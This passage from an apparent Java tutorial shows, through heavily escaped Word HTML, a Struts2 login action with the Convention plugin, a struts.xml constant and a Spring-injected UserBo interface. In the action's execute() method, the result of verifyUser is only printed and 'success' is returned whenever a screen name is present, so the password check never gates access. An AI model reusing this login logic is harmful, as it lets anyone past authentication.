We are not extending this class with ActionSupport becuase we have used annotations but implementing ModelDriven that will help use to get a bean entity to be used in our action class to delegate operations to Spring Layer.&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;UpUser &lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; = &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;new&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; UpUser();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;UserBo &lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;userBo&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; Object
  getModel(){&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;return&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;void&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  setUserBo(UserBo userBo) {&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;this&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;userBo&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;= userBo;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
This is where we are getting the model by implementing the method of our interface ModelDriven.&lt;br /&gt;
&lt;br /&gt;
Finally here our action comes which will be used for mapping of our action to JSPs&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@Action&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(value=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;,results={&lt;/span&gt;&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@Result&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(name=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;success&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;,location=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;/jsp/successPage.jsp&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #646464; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;@Result&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(name=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;,location=&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;/jsp/userLogin.jsp&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;)})&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; String
  execute() {&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;.getUserScreenName()==&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;null&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;return&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;out&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;.println(&lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;userBo&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;.verifyUser(&lt;/span&gt;&lt;span style=&quot;color: #0000c0; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;));&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;return&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;success&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
Note: As we have used Struts2-Convention-Plugin so we must need to end our action class with &amp;nbsp;&quot;Action&quot; Because it will only compile all those classes which will have action and defined in action package.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
From struts.xml:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;constant&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt; &lt;span style=&quot;color: #7f007f;&quot;&gt;name&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;struts.convention.package.locators.basePackage&quot;&lt;/span&gt;&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #7f007f;&quot;&gt;value&lt;/span&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;com.test.lab&quot;&lt;/span&gt;&lt;/i&gt;
  &lt;span style=&quot;color: teal;&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Now, i&#39;ll not go into much detail of the classes because it&#39;s basic java which you must be aware of that how we can do transformation from one class to another and delegate a class to call the method.&lt;br /&gt;
&lt;br /&gt;
UserBo which we have used in our Action is a BusinessObject which will act as a middle layer that will manage the transformation from Struts-&amp;gt;Hibernate&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.bo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.List;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.model.UpUser;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public
  interface UserBo {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Boolean verifyUser(UpUser user) ;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-size: 6.0pt; line-height: 115%; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;As UserBo is an interface so here it&#39;s an implementation for it where we actually will do Dependency Injection a feature offered by Spring.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.bo.impl;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.List;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.bo.UserBo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.test.lab.dao.UserDAO;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
